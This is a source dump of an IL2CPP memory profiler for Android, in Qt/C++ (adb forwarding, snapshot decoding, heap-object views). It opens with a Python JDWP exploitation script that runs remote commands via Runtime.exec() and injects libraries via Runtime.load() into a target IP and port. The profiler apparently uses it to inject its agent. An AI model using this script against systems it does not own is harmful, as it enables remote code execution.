623 | buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
624 | if buf[0] != chr(TAG_OBJECT):
625 | print ("[-] Unexpected returned type: expecting Object")
626 | return False
627 |
628 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
629 | print ("[+] Runtime.exec() successful, retId=%x" % retId)
630 |
631 | return True
632 |
633 | def getPackageName(jdwp, threadId):
634 | #
635 | # This function will invoke ActivityThread.currentApplication().getPackageName()
636 | #
637 | activityThreadClass = jdwp.get_class_by_name("Landroid/app/ActivityThread;")
638 | if activityThreadClass is None:
639 | print("[-] Cannot find class android.app.ActivityThread")
640 | return False
641 |
642 | contextWrapperClass = jdwp.get_class_by_name("Landroid/content/ContextWrapper;")
643 | if contextWrapperClass is None:
644 | print("[-] Cannot find class android.content.ContextWrapper")
645 | return False
646 |
647 | jdwp.get_methods(activityThreadClass["refTypeId"])
648 | jdwp.get_methods(contextWrapperClass["refTypeId"])
649 |
650 | getContextMeth = jdwp.get_method_by_name("currentApplication")
651 | if getContextMeth is None:
652 | print("[-] Cannot find method ActivityThread.currentApplication()")
653 | return False
654 |
655 | buf = jdwp.invokestatic(
656 | activityThreadClass["refTypeId"], threadId, getContextMeth["methodId"])
657 | if buf[0] != chr(TAG_OBJECT):
658 | print("[-] Unexpected returned type: expecting Object")
659 | return False
660 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
661 | if rt is None:
662 | print "[-] Failed to invoke ActivityThread.currentApplication()"
663 | return False
664 |
665 | # 3. find getPackageName() method
666 | getPackageNameMeth = jdwp.get_method_by_name("getPackageName")
667 | if getPackageNameMeth is None:
668 | print("[-] Cannot find method ActivityThread.currentApplication().getPackageName()")
669 | return False
670 |
671 | # 4. call getPackageNameMeth()
672 | buf = jdwp.invoke(rt, threadId, contextWrapperClass["refTypeId"], getPackageNameMeth["methodId"])
673 | if buf[0] != chr(TAG_STRING):
674 | print("[-] %s: Unexpected returned type: expecting String" % propStr)
675 | else:
676 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
677 | res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId))
678 | print("[+] getPackageMethod(): '%s'" % (res))
679 |
680 | return "%s" % res
681 |
682 |
683 | def runtime_load_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, library):
684 | #
685 | # This function will run Runtime.load() with library as a payload
686 | #
687 |
688 | # print("[+] Selected payload '%s'" % library)
689 |
690 | # 1. allocating string containing our command to exec()
691 | cmdObjIds = jdwp.createstring( library )
692 | if len(cmdObjIds) == 0:
693 | print("[-] Failed to allocate library string")
694 | return False
695 | cmdObjId = cmdObjIds[0]["objId"]
696 | # print("[+] Command string object created id:%x" % cmdObjId)
697 |
698 | # 2. use context to get Runtime object
699 | buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
700 | if buf[0] != chr(TAG_OBJECT):
701 | print("[-] Unexpected returned type: expecting Object")
702 | return False
703 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
704 |
705 | if rt is None:
706 | print "[-] Failed to invoke Runtime.getRuntime()"
707 | return False
708 | # print("[+] Runtime.getRuntime() returned context id:%#x" % rt)
709 |
710 | # 3. find load() method
711 | loadMeth = jdwp.get_method_by_name("load")
712 | if loadMeth is None:
713 | print("[-] Cannot find method Runtime.load()")
714 | return False
715 | # print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"])
716 |
717 | # 4. call exec() in this context with the alloc-ed string
718 | data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
719 | jdwp.invokeVoid(rt, threadId, runtimeClassId, loadMeth["methodId"], *data)
720 |
721 | print("[+] Runtime.load(%s) probably successful" % library)
722 |
723 | return True
724 |
725 |
726 | def str2fqclass(s):
727 | i = s.rfind('.')
728 | if i == -1:
729 | print("Cannot parse path")
730 | sys.exit(1)
731 |
732 | method = s[i:][1:]
733 | classname = 'L' + s[:i].replace('.', '/') + ';'
734 | return classname, method
735 |
736 |
737 | if __name__ == "__main__":
738 | parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
739 | formatter_class=argparse.ArgumentDefaultsHelpFormatter )
740 |
741 | parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
742 | parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
743 |
744 | parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
745 | default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
746 | parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
747 | help="Specify command to execute remotely")
748 | parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME",
749 | help="Specify library to inject into process load")
750 |
751 | args = parser.parse_args()
752 |
753 | classname, meth = str2fqclass(args.break_on)
754 | setattr(args, "break_on_class", classname)
755 | setattr(args, "break_on_method", meth)
756 |
757 | retcode = 0
758 |
759 | try:
760 | cli = JDWPClient(args.target, args.port)
761 | cli.start()
762 |
763 | if runtime_exec(cli, args) == False:
764 | print ("[-] Exploit failed")
765 | retcode = 1
766 |
767 | except KeyboardInterrupt:
768 | print ("[+] Exiting on user's request")
769 |
770 | except Exception as e:
771 | print ("[-] Exception: %s" % e)
772 | traceback.print_exc()
773 | retcode = 1
774 | cli = None
775 |
776 | finally:
777 | if cli:
778 | cli.leave()
779 |
780 | sys.exit(retcode)
781 |
--------------------------------------------------------------------------------
/res/btn_callstacks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_callstacks.png
--------------------------------------------------------------------------------
/res/btn_capture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_capture.png
--------------------------------------------------------------------------------
/res/btn_next.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_next.png
--------------------------------------------------------------------------------
/res/btn_open.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_open.png
--------------------------------------------------------------------------------
/res/btn_previous.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_previous.png
--------------------------------------------------------------------------------
/res/btn_save.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_save.png
--------------------------------------------------------------------------------
/res/btn_stat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_stat.png
--------------------------------------------------------------------------------
/res/btn_treemap.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_treemap.png
--------------------------------------------------------------------------------
/res/btn_visualize.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_visualize.png
--------------------------------------------------------------------------------
/res/devices.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.icns
--------------------------------------------------------------------------------
/res/devices.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.ico
--------------------------------------------------------------------------------
/res/devices.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.png
--------------------------------------------------------------------------------
/res/icon.qrc:
--------------------------------------------------------------------------------
1 |
2 |
3 | devices.ico
4 | devices.icns
5 |
6 |
7 | btn_callstacks.png
8 | btn_open.png
9 | btn_save.png
10 | btn_stat.png
11 | btn_treemap.png
12 | btn_visualize.png
13 | btn_capture.png
14 | btn_next.png
15 | btn_previous.png
16 |
17 |
18 |
--------------------------------------------------------------------------------
/res/images/memperf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/images/memperf.png
--------------------------------------------------------------------------------
/src/adbprocess.cpp:
--------------------------------------------------------------------------------
1 | #include "adbprocess.h"
2 | #include
3 |
4 | AdbProcess::AdbProcess(QObject* parent) : QObject(parent) {
5 | process_ = new QProcess(this);
6 | Connect();
7 | }
8 |
9 | AdbProcess::~AdbProcess() {
10 | Disconnect();
11 | if (process_->state() != QProcess::ProcessState::NotRunning) {
12 | process_->kill();
13 | process_->close();
14 | }
15 | }
16 |
17 | void AdbProcess::Connect() {
18 | if (connected_)
19 | return;
20 | connect(process_, &QProcess::errorOccurred, this, &AdbProcess::AdbProcessErrorOccurred);
21 | connect(process_, QOverload::of(&QProcess::finished), this, &AdbProcess::AdbProcessFinished);
22 | connected_ = true;
23 | }
24 |
25 | void AdbProcess::Disconnect() {
26 | if (!connected_)
27 | return;
28 | disconnect(process_, &QProcess::errorOccurred, this, &AdbProcess::AdbProcessErrorOccurred);
29 | disconnect(process_, QOverload::of(&QProcess::finished), this, &AdbProcess::AdbProcessFinished);
30 | connected_ = false;
31 | }
32 |
33 | void AdbProcess::AdbProcessFinished(int exitCode, QProcess::ExitStatus exitStatus) {
34 | if (exitCode != 0 || exitStatus == QProcess::ExitStatus::CrashExit) {
35 | emit ProcessErrorOccurred();
36 | running_ = false;
37 | hasErrors_ = true;
38 | return;
39 | }
40 | hasErrors_ = false;
41 | running_ = false;
42 | OnProcessFinihed(); // handle returned data
43 | emit ProcessFinished(this); // then process the handled data
44 | }
45 |
46 | void AdbProcess::AdbProcessErrorOccurred(QProcess::ProcessError) {
47 | OnProcessErrorOccurred();
48 | running_ = false;
49 | hasErrors_ = true;
50 | emit ProcessErrorOccurred();
51 | }
52 |
--------------------------------------------------------------------------------
/src/detailswidget.cpp:
--------------------------------------------------------------------------------
1 | #include "detailswidget.h"
2 | #include "ui_detailswidget.h"
3 |
4 | #include
5 | #include
6 |
7 | #include
8 |
9 | #include "umpcrawler.h"
10 | #include "umpmodel.h"
11 |
12 | DetailsWidget::DetailsWidget(CrawledMemorySnapshot* snapshot, QWidget *parent) :
13 | QWidget(parent), ui(new Ui::DetailsWidget),
14 | snapshot_(snapshot), primitiveValueReader_(new PrimitiveValueReader(snapshot)) {
15 | ui->setupUi(this);
16 | ShowThing(nullptr, ThingType::NONE);
17 | connect(ui->fieldsWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked);
18 | connect(ui->refsListWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked);
19 | connect(ui->refbysListWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked);
20 | }
21 |
22 | DetailsWidget::~DetailsWidget() {
23 | delete ui;
24 | }
25 |
26 | void DetailsWidget::ShowThing(ThingInMemory* thing, ThingType type) {
27 | if (type == ThingType::MANAGED) {
28 | auto managedObj = static_cast(thing);
29 | auto managedType = managedObj->typeDescription_;
30 | ui->managedType->setText(managedType->name_);
31 | ui->managedAddr->setText(QString("%1").arg(managedObj->address_, 0, 16));
32 | ui->managedSize->setText(sizeToString(managedObj->size_));
33 | ui->valueListWidget->clear();
34 | if (managedType->name_ == "System.String") {
35 | ui->valueListWidget->addItem(
36 | CrawledMemorySnapshot::ReadString(
37 | snapshot_, CrawledMemorySnapshot::FindInHeap(snapshot_, managedObj->address_)));
38 | } else if (managedType->IsArray()) {
39 | int elementCount = CrawledMemorySnapshot::ReadArrayLength(snapshot_, managedObj->address_, managedType);
40 | int rank = managedType->ArrayRank();
41 | if (rank != 1) {
42 | ui->valueListWidget->addItem("Can't display multi-dimension arrays yet.");
43 | } else if (snapshot_->typeDescriptions_[managedType->baseOrElementTypeIndex_].IsValueType()) {
44 | ui->valueListWidget->addItem("Can't display valueType arrays yet.");
45 | } else {
46 | std::vector pointers;
47 | for (int i = 0; i < elementCount; i++) {
48 | pointers.push_back(
49 | primitiveValueReader_->ReadPointer(
50 | managedObj->address_ + static_cast(snapshot_->runtimeInformation_.arrayHeaderSize) +
51 | static_cast(static_cast(i) * snapshot_->runtimeInformation_.pointerSize)));
52 | }
53 | DrawLinks(ui->valueListWidget, pointers);
54 | }
55 | }
56 | ui->valueListWidget->setVisible(ui->valueListWidget->count() > 0);
57 | ui->valuesLabel->setVisible(ui->valueListWidget->isVisible());
58 | SizeToContent(ui->valueListWidget);
59 | ui->fieldsWidget->clear();
60 | DrawFields(ui->fieldsWidget, managedObj);
61 | ui->fieldsWidget->setVisible(ui->fieldsWidget->count() > 0);
62 | ui->fieldsLabel->setVisible(ui->fieldsWidget->isVisible());
63 | SizeToContent(ui->fieldsWidget);
64 | ui->refbysListWidget->clear();
65 | DrawLinks(ui->refbysListWidget, managedObj->referencedBy_);
66 | ui->refbysListWidget->setVisible(ui->refbysListWidget->count() > 0);
67 | ui->refbysLabel->setVisible(ui->refbysListWidget->isVisible());
68 | SizeToContent(ui->refbysListWidget);
69 | ui->refsLabel->setVisible(false);
70 | ui->refsListWidget->setVisible(false);
71 | ui->stackedWidget->setCurrentIndex(1);
72 | return;
73 | } else if (type == ThingType::STATIC) {
74 | auto staticObj = static_cast(thing);
75 | ui->staticsType->setText(staticObj->typeDescription_->name_);
76 | ui->staticsSize->setText(sizeToString(staticObj->size_));
77 | ui->fieldsWidget->clear();
78 | BytesAndOffset bo;
79 | bo.bytes_ = staticObj->typeDescription_->statics_;
80 | bo.offset_ = 0;
81 | bo.pointerSize_ = snapshot_->runtimeInformation_.pointerSize;
82 | DrawFields(ui->fieldsWidget, staticObj->typeDescription_, bo, true);
83 | ui->fieldsWidget->setVisible(ui->fieldsWidget->count() > 0);
84 | ui->fieldsLabel->setVisible(ui->fieldsWidget->isVisible());
85 | SizeToContent(ui->fieldsWidget);
86 | ui->refbysListWidget->clear();
87 | DrawLinks(ui->refbysListWidget, staticObj->referencedBy_);
88 | ui->refbysListWidget->setVisible(ui->refbysListWidget->count() > 0);
89 | ui->refbysLabel->setVisible(ui->refbysListWidget->isVisible());
90 | SizeToContent(ui->refbysListWidget);
91 | ui->refsListWidget->clear();
92 | DrawLinks(ui->refsListWidget, staticObj->references_);
93 | ui->refsListWidget->setVisible(ui->refsListWidget->count() > 0);
94 | ui->refsLabel->setVisible(ui->refsListWidget->isVisible());
95 | SizeToContent(ui->refsListWidget);
96 | ui->stackedWidget->setCurrentIndex(2);
97 | ui->valueListWidget->setVisible(false);
98 | ui->valuesLabel->setVisible(false);
99 | return;
100 | }
101 | ui->fieldsWidget->setVisible(false);
102 | ui->fieldsLabel->setVisible(false);
103 | ui->valueListWidget->setVisible(false);
104 | ui->valuesLabel->setVisible(false);
105 | ui->refbysListWidget->setVisible(false);
106 | ui->refbysLabel->setVisible(false);
107 | ui->refsLabel->setVisible(false);
108 | ui->refsListWidget->setVisible(false);
109 | ui->stackedWidget->setCurrentIndex(0);
110 | }
111 |
112 | void DetailsWidget::OnListItemDoubleClicked(QListWidgetItem *item) {
113 | if (!item->data(Qt::UserRole).isValid())
114 | return;
115 | auto index = item->data(Qt::UserRole).toUInt();
116 | if (index != std::numeric_limits::max())
117 | emit ThingSelected(index);
118 | }
119 |
120 | void DetailsWidget::SizeToContent(QListWidget* widget) {
121 | auto extra = widget->horizontalScrollBar()->isVisible() ? widget->horizontalScrollBar()->height() : 0;
122 | widget->setMinimumHeight(std::min(widget->sizeHintForRow(0) * widget->model()->rowCount() + extra + 10, 200));
123 | widget->updateGeometry();
124 | }
125 |
126 | void DetailsWidget::DrawLinks(QListWidget* widget, const std::vector& pointers) {
127 | std::vector things(pointers.size());
128 | for (std::size_t i = 0; i < pointers.size(); i++)
129 | things[i] = GetThingAt(pointers[i]);
130 | DrawLinks(widget, things);
131 | }
132 |
133 | void DetailsWidget::DrawLinks(QListWidget* widget, const std::vector things) {
134 | for (auto thing : things) {
135 | auto caption = thing == nullptr ? "nullptr" : thing->caption_;
136 | std::uint64_t addr = 0;
137 | if (thing && thing->type() == ThingType::MANAGED) {
138 | auto managed = static_cast(thing);
139 | if (managed != nullptr && managed->typeDescription_->name_ == "System.String")
140 | caption = CrawledMemorySnapshot::ReadString(snapshot_, CrawledMemorySnapshot::FindInHeap(snapshot_, managed->address_));
141 | addr = managed->address_;
142 | }
143 | auto widgetItem = new QListWidgetItem();
144 | widgetItem->setData(Qt::DisplayRole, caption);
145 | widgetItem->setData(Qt::UserRole, thing != nullptr ? thing->index_ : std::numeric_limits::max());
146 | widget->addItem(widgetItem);
147 | }
148 | }
149 |
150 | ThingInMemory* DetailsWidget::GetThingAt(std::uint64_t address) {
151 | if (managedObjCache_.find(address) == managedObjCache_.end()) {
152 | ThingInMemory* thing = nullptr;
153 | for (auto& managed : snapshot_->managedObjects_) {
154 | if (managed.address_ == address) {
155 | thing = &managed;
156 | break;
157 | }
158 | }
159 | managedObjCache_[address] = thing;
160 | }
161 | return managedObjCache_[address];
162 | }
163 |
164 | void DetailsWidget::DrawFields(QListWidget* widget, TypeDescription* type, const BytesAndOffset& bo, bool useStatics) {
165 | std::vector fields;
166 | CrawledMemorySnapshot::AllFieldsOf(snapshot_, type, useStatics ? FieldFindOptions::OnlyStatic : FieldFindOptions::OnlyInstance, fields);
167 | for (std::size_t i = 0; i < fields.size(); i++) {
168 | auto field = fields[i];
169 | DrawValueFor(widget, field, bo.Add(field->offset_));
170 | }
171 | }
172 |
173 | void DetailsWidget::DrawFields(QListWidget* widget, ManagedObject* mo) {
174 | if (mo->typeDescription_->IsArray())
175 | return;
176 | DrawFields(widget, mo->typeDescription_, CrawledMemorySnapshot::FindInHeap(snapshot_, mo->address_));
177 | }
178 |
179 | void DetailsWidget::DrawValueFor(QListWidget* widget, const FieldDescription* field, const BytesAndOffset& bo) {
180 | auto type = &snapshot_->typeDescriptions_[field->typeIndex_];
181 | if (type->name_ == "System.Int32") {
182 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
183 | }
184 | else if (type->name_ == "System.Int64") {
185 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
186 | }
187 | else if (type->name_ == "System.UInt32") {
188 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
189 | }
190 | else if (type->name_ == "System.UInt64") {
191 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
192 | }
193 | else if (type->name_ == "System.Int16") {
194 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
195 | }
196 | else if (type->name_ == "System.UInt16") {
197 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
198 | }
199 | else if (type->name_ == "System.Byte") {
200 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
201 | }
202 | else if (type->name_ == "System.SByte") {
203 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
204 | }
205 | else if (type->name_ == "System.Char") {
206 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
207 | }
208 | else if (type->name_ == "System.Boolean") {
209 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadBool(bo)));
210 | }
211 | else if (type->name_ == "System.Single") {
212 | widget->addItem(field->name_ + QString(": %1").arg(static_cast(primitiveValueReader_->ReadInteger(bo))));
213 | }
214 | else if (type->name_ == "System.Double") {
215 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo)));
216 | }
217 | else if (type->name_ == "System.IntPtr") {
218 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadPointer(bo), 0, 16));
219 | } else {
220 | if (type->IsValueType()) {
221 | DrawFields(widget, type, bo);
222 | } else {
223 | auto thing = GetThingAt(bo.ReadPointer());
224 | if (thing == nullptr) {
225 | widget->addItem(field->name_ + ": nullptr");
226 | } else {
227 | DrawLinks(widget, { thing });
228 | }
229 | }
230 | }
231 | }
232 |
--------------------------------------------------------------------------------
/src/globalLog.cpp:
--------------------------------------------------------------------------------
1 | #include "globalLog.h"
2 | #include
3 | #include
4 |
5 | GlobalLogDef::GlobalLogDef()
6 | {
7 |
8 | }
9 |
10 | void GlobalLogDef::writeToFile(QString &str ,int type){
11 | QFile file("logfile.txt");
12 | file.open(QIODevice::ReadWrite | QIODevice::Append);
13 | QTextStream stream(&file);
14 | if(type == 0){
15 |
16 | stream << str << "";
17 | }
18 | else{
19 | stream << str << "\r\n";
20 |
21 | }
22 |
23 | file.flush();
24 | file.close();
25 |
26 |
27 | }
28 | void GlobalLogDef::writeToFile(int &str ,int type){
29 | QFile file("logfile.txt");
30 | file.open(QIODevice::ReadWrite | QIODevice::Append);
31 | QTextStream stream(&file);
32 | if(type == 0){
33 |
34 | stream << str << "";
35 | }
36 | else{
37 | stream << str << "\r\n";
38 |
39 | }
40 |
41 | file.flush();
42 | file.close();
43 |
44 |
45 | }
46 |
47 | QString GlobalLogDef::log = "FLUSH";
48 |
--------------------------------------------------------------------------------
/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include "mainwindow.h"
2 | #include
3 |
4 | int main(int argc, char *argv[])
5 | {
6 | QApplication a(argc, argv);
7 | MainWindow w;
8 | w.show();
9 |
10 | return a.exec();
11 | }
12 |
--------------------------------------------------------------------------------
/src/remoteprocess.cpp:
--------------------------------------------------------------------------------
1 | #include "remoteprocess.h"
2 |
3 | #include "umpmemory.h"
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | void Il2CppFreeMemorySnapshot(Il2CppManagedMemorySnapshot* snapshot) {
14 | if (snapshot->heap.sectionCount > 0) {
15 | for (uint32_t i = 0; i < snapshot->heap.sectionCount; i++) {
16 | delete[] snapshot->heap.sections[i].sectionBytes;
17 | }
18 | delete[] snapshot->heap.sections;
19 | snapshot->heap.sectionCount = 0;
20 | snapshot->heap.sections = nullptr;
21 | }
22 | if (snapshot->stacks.stackCount > 0) {
23 | for (uint32_t i = 0; i < snapshot->stacks.stackCount; i++) {
24 | delete[] snapshot->stacks.stacks[i].sectionBytes;
25 | }
26 | delete[] snapshot->stacks.stacks;
27 | snapshot->stacks.stackCount = 0;
28 | snapshot->stacks.stacks = nullptr;
29 | }
30 | if (snapshot->gcHandles.trackedObjectCount > 0) {
31 | delete[] snapshot->gcHandles.pointersToObjects;
32 | snapshot->gcHandles.pointersToObjects = nullptr;
33 | snapshot->gcHandles.trackedObjectCount = 0;
34 | }
35 | if (snapshot->metadata.typeCount > 0) {
36 | for (uint32_t i = 0; i < snapshot->metadata.typeCount; i++) {
37 | auto& type = snapshot->metadata.types[i];
38 | if ((type.flags & kArray) == 0) {
39 | for (uint32_t j = 0; j < type.fieldCount; j++) {
40 | auto& field = type.fields[j];
41 | delete[] field.name;
42 | }
43 | delete[] type.fields;
44 | delete[] type.statics;
45 | }
46 | delete[] type.name;
47 | delete[] type.assemblyName;
48 | }
49 | delete[] snapshot->metadata.types;
50 | snapshot->metadata.types = nullptr;
51 | snapshot->metadata.typeCount = 0;
52 | }
53 | }
54 |
55 | #define BUFFER_SIZE 65535
56 |
57 | RemoteProcess::RemoteProcess(QObject* parent)
58 | : QObject(parent), socket_(new QTcpSocket(this)) {
59 | buffer_ = new char[BUFFER_SIZE];
60 | compressBuffer_ = new char[compressBufferSize_];
61 | snapShot_ = new Il2CppManagedMemorySnapshot();
62 | socket_->setReadBufferSize(BUFFER_SIZE);
63 | connect(socket_, &QTcpSocket::readyRead, this, &RemoteProcess::OnDataReceived);
64 | connect(socket_, &QTcpSocket::connected, this, &RemoteProcess::OnConnected);
65 | connect(socket_, &QTcpSocket::disconnected, this, &RemoteProcess::OnDisconnected);
66 | }
67 |
68 | RemoteProcess::~RemoteProcess(){
69 | delete[] buffer_;
70 | delete[] compressBuffer_;
71 | Il2CppFreeMemorySnapshot(snapShot_);
72 | delete snapShot_;
73 | }
74 |
75 | void RemoteProcess::ConnectToServer(int port) {
76 | QProcess process;
77 | QStringList arguments;
78 | arguments << "forward" << "tcp:" + QString::number(port) << "tcp:7100";
79 | process.setProgram(execPath_);
80 | process.setArguments(arguments);
81 | process.start();
82 | if (!process.waitForStarted()) {
83 | emit ConnectionLost();
84 | return;
85 | }
86 | if (!process.waitForFinished()) {
87 | emit ConnectionLost();
88 | return;
89 | }
90 | connectingServer_ = true;
91 | socket_->connectToHost("127.0.0.1", static_cast(port));
92 | }
93 |
94 | void RemoteProcess::Disconnect() {
95 | socket_->close();
96 | packetSize_ = 0;
97 | }
98 |
99 | void RemoteProcess::Send(UMPMessageType type) {
100 | auto typeData = static_cast(type);
101 | socket_->write(reinterpret_cast(&typeData), 4);
102 | }
103 |
104 | void RemoteProcess::Interpret(const QByteArray& bytes) {
105 | auto packetSize = bytes.size();
106 | if (!DecodeData(bytes.data(), static_cast(packetSize))) {
107 | qDebug() << "Decode failed";
108 | Il2CppFreeMemorySnapshot(snapShot_);
109 | return;
110 | }
111 | qDebug() << "Snapshot heaps: " << snapShot_->heap.sectionCount << " stacks " << snapShot_->stacks.stackCount << " types " <<
112 | snapShot_->metadata.typeCount << " gcHandles " << snapShot_->gcHandles.trackedObjectCount;
113 | emit DataReceived();
114 | }
115 |
116 | bool RemoteProcess::DecodeData(const char* data, size_t size) {
117 | Il2CppFreeMemorySnapshot(snapShot_);
118 | if (size < 8)
119 | return false;
120 | bufferreader reader(data, size);
121 | std::uint32_t magic, version;
122 | reader >> magic >> version;
123 | if (magic != kSnapshotMagicBytes) {
124 | qDebug() << "Invalide MagicBytes!" << magic << kSnapshotMagicBytes;
125 | return false;
126 | }
127 | if (version > kSnapshotFormatVersion) {
128 | qDebug() << "Version Missmatch!";
129 | return false;
130 | }
131 | while (!reader.atEnd()) {
132 | reader >> magic;
133 | if (magic == kSnapshotHeapMagicBytes) {
134 | reader >> snapShot_->heap.sectionCount;
135 | snapShot_->heap.sections = new Il2CppManagedMemorySection[snapShot_->heap.sectionCount];
136 | for (std::uint32_t i = 0; i < snapShot_->heap.sectionCount; i++) {
137 | auto& section = snapShot_->heap.sections[i];
138 | reader >> section.sectionStartAddress >> section.sectionSize;
139 | section.sectionBytes = new std::uint8_t[section.sectionSize];
140 | reader.read(reinterpret_cast(section.sectionBytes), section.sectionSize);
141 | }
142 | } else if (magic == kSnapshotStacksMagicBytes) {
143 | reader >> snapShot_->stacks.stackCount;
144 | snapShot_->stacks.stacks = new Il2CppManagedMemorySection[snapShot_->stacks.stackCount];
145 | for (std::uint32_t i = 0; i < snapShot_->stacks.stackCount; i++) {
146 | auto& section = snapShot_->stacks.stacks[i];
147 | reader >> section.sectionStartAddress >> section.sectionSize;
148 | section.sectionBytes = new std::uint8_t[section.sectionSize];
149 | reader.read(reinterpret_cast(section.sectionBytes), section.sectionSize);
150 | }
151 | } else if (magic == kSnapshotMetadataMagicBytes) {
152 | reader >> snapShot_->metadata.typeCount;
153 | snapShot_->metadata.types = new Il2CppMetadataType[snapShot_->metadata.typeCount];
154 | for (std::uint32_t i = 0; i < snapShot_->metadata.typeCount; i++) {
155 | auto& type = snapShot_->metadata.types[i];
156 | std::uint32_t flags;
157 | reader >> flags >> type.baseOrElementTypeIndex;
158 | type.flags = static_cast(flags);
159 | if ((type.flags & Il2CppMetadataTypeFlags::kArray) == 0) {
160 | reader >> type.fieldCount;
161 | type.fields = new Il2CppMetadataField[type.fieldCount];
162 | for (uint32_t j = 0; j < type.fieldCount; j++) {
163 | auto& field = type.fields[j];
164 | reader >> field.offset >> field.typeIndex >> field.name >> field.isStatic;
165 | }
166 | reader >> type.staticsSize;
167 | type.statics = new std::uint8_t[type.staticsSize];
168 | reader.read(reinterpret_cast(type.statics), type.staticsSize);
169 | } else {
170 | type.statics = nullptr;
171 | type.staticsSize = 0;
172 | type.fields = nullptr;
173 | type.fieldCount = 0;
174 | }
175 | reader >> type.name >> type.assemblyName >> type.typeInfoAddress >> type.size;
176 | }
177 | } else if (magic == kSnapshotGCHandlesMagicBytes) {
178 | reader >> snapShot_->gcHandles.trackedObjectCount;
179 | snapShot_->gcHandles.pointersToObjects = new std::uint64_t[snapShot_->gcHandles.trackedObjectCount];
180 | for (std::uint32_t i = 0; i < snapShot_->gcHandles.trackedObjectCount; i++) {
181 | reader >> snapShot_->gcHandles.pointersToObjects[i];
182 | }
183 | } else if (magic == kSnapshotRuntimeInfoMagicBytes) {
184 | reader >> snapShot_->runtimeInformation.pointerSize >> snapShot_->runtimeInformation.objectHeaderSize >>
185 | snapShot_->runtimeInformation.arrayHeaderSize >> snapShot_->runtimeInformation.arrayBoundsOffsetInHeader >>
186 | snapShot_->runtimeInformation.arraySizeOffsetInHeader >> snapShot_->runtimeInformation.allocationGranularity;
187 | } else if (magic == kSnapshotTailMagicBytes) {
188 | break;
189 | } else {
190 | qDebug() << "Unknown Section!";
191 | return false;
192 | }
193 | }
194 | return true;
195 | }
196 |
197 | void RemoteProcess::OnDataReceived() {
